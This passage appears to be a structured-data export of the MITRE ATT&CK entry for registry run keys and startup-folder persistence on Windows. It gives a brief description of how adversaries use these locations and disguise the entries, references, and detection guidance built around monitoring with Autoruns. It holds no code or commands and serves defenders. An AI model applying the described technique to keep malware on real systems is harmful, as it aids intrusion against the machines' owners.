Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1547.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/001"
},
{
"description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.",
"external_id": null,
"source_name": "Malwarebytes Wow6432Node 2016",
"url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"
},
{
"description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.",
"external_id": null,
"source_name": "Microsoft Wow6432Node 2018",
"url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"
},
{
"description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
"external_id": null,
"source_name": "Microsoft Run Key",
"url": "http://msdn.microsoft.com/en-us/library/aa376977"
},
{
"description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
"external_id": null,
"source_name": "Oddvar Moe RunOnceEx Mar 2018",
"url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |